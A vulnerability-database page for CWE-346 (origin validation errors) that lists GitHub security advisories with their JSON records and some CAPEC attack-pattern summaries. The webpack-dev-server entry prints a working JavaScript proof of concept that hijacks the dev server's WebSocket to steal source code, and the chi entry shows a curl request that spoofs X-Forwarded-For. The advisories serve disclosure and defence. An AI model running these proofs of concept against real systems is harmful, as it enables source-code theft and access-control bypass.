Common Weakness Enumeration

CWE-346

Allowed-with-Review

Origin Validation Error

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly verify that the source of data or communication is valid.

789 vulnerabilities reference this CWE, most recent first.

GHSA-9G5Q-2W5X-HMXF

Vulnerability from github – Published: 2026-06-25 18:18 – Updated: 2026-06-25 18:18
VLAI
Summary
chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution
Details

Summary

The vulnerability allows the Request.RemoteAddr to be spoofed when determining the request source IP via the X-Forwarded-For header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.

Details

Currently, the RealIP() implementation splits the X-Forwarded-For header by , and uses the first IP. https://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54

However, relying on the first IP in the X-Forwarded-For header is insecure because it can be manipulated by attackers to falsify the source IP.

Malicious Case: 1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: X-Forwarded-For: <forged-ip> 2. The proxy appends the actual client’s IP and forwards the request: X-Forwarded-For: <forged-ip>,<client-ip> 3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.

Ideally, the implementation should verify IPs starting from the end of the X-Forwarded-For header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.

For example, the labstack/echo web framework processes the X-Forwarded-For header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client's ip. https://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273

PoC

1. Run the Go application with the following code:

package main

import (
    "fmt"
    "log"
    "net/http"

    "github.com/go-chi/chi/v5/middleware"
)

func main() {
    // Set handler to print the remote address
    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(
            w,
            fmt.Sprintf("remote addr: %s (want 192.0.2.1)", r.RemoteAddr),
        )
    })
    // Use RealIP middleware
    log.Fatal(http.ListenAndServe(":8080", middleware.RealIP(handler)))
}

2. Send a request to the server using curl with a manipulated X-Forwarded-For header:

$ curl localhost:8080 -H 'X-Forwarded-For: 192.0.2.2, 192.0.2.1'
remote addr: 192.0.2.2 (want 192.0.2.1)

Impact

This vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "last_affected": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v2/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v3/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v4/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v5/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:18:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n\n    \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n    // Set handler to print the remote address\n    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintln(\n            w,\n            fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n        )\n    })\n    // Use RealIP middleware\n    log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
  "id": "GHSA-9g5q-2w5x-hmxf",
  "modified": "2026-06-25T18:18:56Z",
  "published": "2026-06-25T18:18:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-chi/chi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}

GHSA-9HRJ-7J37-G424

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02
VLAI
Details

An exploitable permanent denial of service vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the kind of firmware image that is going to be installed and thus allows for flashing any signed firmware into any MCU. Since the device contains different and incompatible MCUs, flashing one firmware to the wrong MCU will result in a permanent brick condition. To trigger this vulnerability, an attacker needs to impersonate the remote server "cache.insteon.com" and serve a signed firmware image.

Severity
7.4 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-3834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-02T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable permanent denial of service vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn\u0027t check the kind of firmware image that is going to be installed and thus allows for flashing any signed firmware into any MCU. Since the device contains different and incompatible MCUs, flashing one firmware to the wrong MCU will result in a permanent brick condition. To trigger this vulnerability, an attacker needs to impersonate the remote server \"cache.insteon.com\" and serve a signed firmware image.",
  "id": "GHSA-9hrj-7j37-g424",
  "modified": "2022-05-13T01:02:08Z",
  "published": "2022-05-13T01:02:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3834"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0513"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9JGG-88MC-972H

Vulnerability from github – Published: 2025-06-04 21:09 – Updated: 2025-10-03 13:25
VLAI
Summary
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Details

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

image

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
        console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:09:38Z",
    "nvd_published_at": "2025-06-03T18:15:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen when you access a malicious web site with non-Chromium based browser.\n\n### Details\nThe `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.\nBut webpack-dev-server always allows IP address `Origin` headers.\nhttps://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127\nThis allows websites that are served on IP addresses to connect WebSocket.\nBy using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code.\n\nrelated commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.\n\nThis vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `http://{ipaddress}/?target=http://localhost:8080\u0026file=main` with a non-Chromium browser (I used Firefox 134.0.1)\n5. Edit `src/index.js` in the extracted directory\n6. You can see the content of `src/index.js`\n\n![image](https://github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)\n\nThe script in the POC site is:\n```js\nwindow.webpackHotUpdate = (...args) =\u003e {\n    console.log(...args);\n    for (i in args[1]) {\n        document.body.innerText = args[1][i].toString() + document.body.innerText\n\t    console.log(args[1][i])\n    }\n}\n\nlet params = new URLSearchParams(window.location.search);\nlet target = new URL(params.get(\u0027target\u0027) || \u0027http://127.0.0.1:8080\u0027);\nlet file = params.get(\u0027file\u0027)\nlet wsProtocol = target.protocol === \u0027http:\u0027 ? \u0027ws\u0027 : \u0027wss\u0027;\nlet wsPort = target.port;\nvar currentHash = \u0027\u0027;\nvar currentHash2 = \u0027\u0027;\nlet wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;\nws = new WebSocket(wsTarget);\nws.onmessage = event =\u003e {\n    console.log(event.data);\n    if (event.data.match(\u0027\"type\":\"ok\"\u0027)) {\n        s = document.createElement(\u0027script\u0027);\n        s.src = `${target}${file}.${currentHash2}.hot-update.js`;\n        document.body.appendChild(s)\n    }\n    r = event.data.match(/\"([0-9a-f]{20})\"/);\n    if (r !== null) {\n        currentHash2 = currentHash;\n        currentHash = r[1];\n        console.log(currentHash, currentHash2);\n    }\n}\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.",
  "id": "GHSA-9jgg-88mc-972h",
  "modified": "2025-10-03T13:25:56Z",
  "published": "2025-06-04T21:09:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site with non-Chromium based browser"
}

GHSA-9JHW-8CJQ-CXC8

Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-15 18:31
VLAI
Details

A same-origin policy violation could have allowed the theft of cross-origin URL entries, leaking the result of a redirect, via performance.getEntries(). This vulnerability affects Thunderbird < 102.4, Firefox ESR < 102.4, and Firefox < 106.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-42927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A same-origin policy violation could have allowed the theft of cross-origin URL entries, leaking the result of a redirect, via \u003ccode\u003eperformance.getEntries()\u003c/code\u003e. This vulnerability affects Thunderbird \u003c 102.4, Firefox ESR \u003c 102.4, and Firefox \u003c 106.",
  "id": "GHSA-9jhw-8cjq-cxc8",
  "modified": "2025-04-15T18:31:34Z",
  "published": "2022-12-22T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42927"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1789128"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-44"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-45"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9JR4-R64P-FHQF

Vulnerability from github – Published: 2026-05-29 00:38 – Updated: 2026-05-29 21:31
VLAI
Details

Inappropriate implementation in Input in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T23:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Input in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-9jr4-r64p-fhqf",
  "modified": "2026-05-29T21:31:18Z",
  "published": "2026-05-29T00:38:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10010"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513995565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9M93-62Q8-9JMX

Vulnerability from github – Published: 2025-08-01 06:31 – Updated: 2025-11-05 00:31
VLAI
Details

In Sipwise rtpengine before 13.4.1.1, an origin-validation error in the endpoint-learning logic of the media-relay core allows remote attackers to inject or intercept RTP/SRTP media streams via RTP packets (except when the relay is configured for strict source and learning disabled). Version 13.4.1.1 fixes the heuristic mode by limiting exposure to the first five packets, and introduces a recrypt flag that fully prevents SRTP attacks when both mitigations are enabled.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:L/SA:L
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{
  "affected": [],
  "aliases": [
    "CVE-2025-53399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-01T04:16:16Z",
    "severity": "MODERATE"
  },
  "details": "In Sipwise rtpengine before 13.4.1.1, an origin-validation error in the endpoint-learning logic of the media-relay core allows remote attackers to inject or intercept RTP/SRTP media streams via RTP packets (except when the relay is configured for strict source and learning disabled). Version 13.4.1.1 fixes the heuristic mode by limiting exposure to the first five packets, and introduces a recrypt flag that fully prevents SRTP attacks when both mitigations are enabled.",
  "id": "GHSA-9m93-62q8-9jmx",
  "modified": "2025-11-05T00:31:23Z",
  "published": "2025-08-01T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EnableSecurity/advisories/tree/master/ES2025-01-rtpengine-improper-behavior-bleed-inject"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipwise/rtpengine/commits/rfuchs/security"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2025/07/31/1"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Aug/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/31/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9P6P-G2WP-CR53

Vulnerability from github – Published: 2022-03-22 00:00 – Updated: 2022-03-30 00:01
VLAI
Details

In Dreamacro 1.1.0, an attacker could embed a malicious iframe in a website with a crafted URL that would launch the Clash Windows client and force it to open a remote SMB share. Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2020-24772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-21T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Dreamacro 1.1.0, an attacker could embed a malicious iframe in a website with a crafted URL that would launch the Clash Windows client and force it to open a remote SMB share. Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).",
  "id": "GHSA-9p6p-g2wp-cr53",
  "modified": "2022-03-30T00:01:17Z",
  "published": "2022-03-22T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24772"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dreamacro/clash/issues/910"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PPW-9F8W-5R25

Vulnerability from github – Published: 2024-02-14 18:30 – Updated: 2024-02-14 18:30
VLAI
Details

An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-0009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T18:15:47Z",
    "severity": "MODERATE"
  },
  "details": "An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.",
  "id": "GHSA-9ppw-9f8w-5r25",
  "modified": "2024-02-14T18:30:26Z",
  "published": "2024-02-14T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0009"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2024-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PQ4-5HCF-288C

Vulnerability from github – Published: 2026-02-19 15:18 – Updated: 2026-02-23 22:21
VLAI
Summary
Cache poisoning in @sveltejs/adapter-vercel
Details

Versions of @sveltejs/adapter-vercel prior to 6.3.2 are vulnerable to cache poisoning. An internal query parameter intended for Incremental Static Regeneration (ISR) is accessible on all routes, allowing an attacker to cause sensitive user-specific responses to be cached and served to other users.

Successful exploitation requires a victim to visit an attacker-controlled link while authenticated.

Existing deployments are protected by Vercel's WAF, but users should upgrade as soon as possible.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@sveltejs/adapter-vercel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T15:18:02Z",
    "nvd_published_at": "2026-02-20T22:16:29Z",
    "severity": "MODERATE"
  },
  "details": "Versions of `@sveltejs/adapter-vercel` prior to 6.3.2 are vulnerable to cache poisoning. An internal query parameter intended for Incremental Static Regeneration (ISR) is accessible on all routes, allowing an attacker to cause sensitive user-specific responses to be cached and served to other users.\n\nSuccessful exploitation requires a victim to visit an attacker-controlled link while authenticated.\n\nExisting deployments are protected by Vercel\u0027s WAF, but users should upgrade as soon as possible.",
  "id": "GHSA-9pq4-5hcf-288c",
  "modified": "2026-02-23T22:21:38Z",
  "published": "2026-02-19T15:18:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/kit/security/advisories/GHSA-9pq4-5hcf-288c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27118"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/kit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Cache poisoning in @sveltejs/adapter-vercel"
}

GHSA-9PXH-FHM5-6RWH

Vulnerability from github – Published: 2025-10-16 09:30 – Updated: 2025-10-16 15:30
VLAI
Details

Whale browser before 4.33.325.17 allows an attacker to bypass the Same-Origin Policy in a dual-tab environment.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-62584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-16T07:15:33Z",
    "severity": "HIGH"
  },
  "details": "Whale browser before 4.33.325.17 allows an attacker to bypass the Same-Origin Policy in a dual-tab environment.",
  "id": "GHSA-9pxh-fhm5-6rwh",
  "modified": "2025-10-16T15:30:42Z",
  "published": "2025-10-16T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62584"
    },
    {
      "type": "WEB",
      "url": "https://cve.naver.com/detail/cve-2025-62584.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

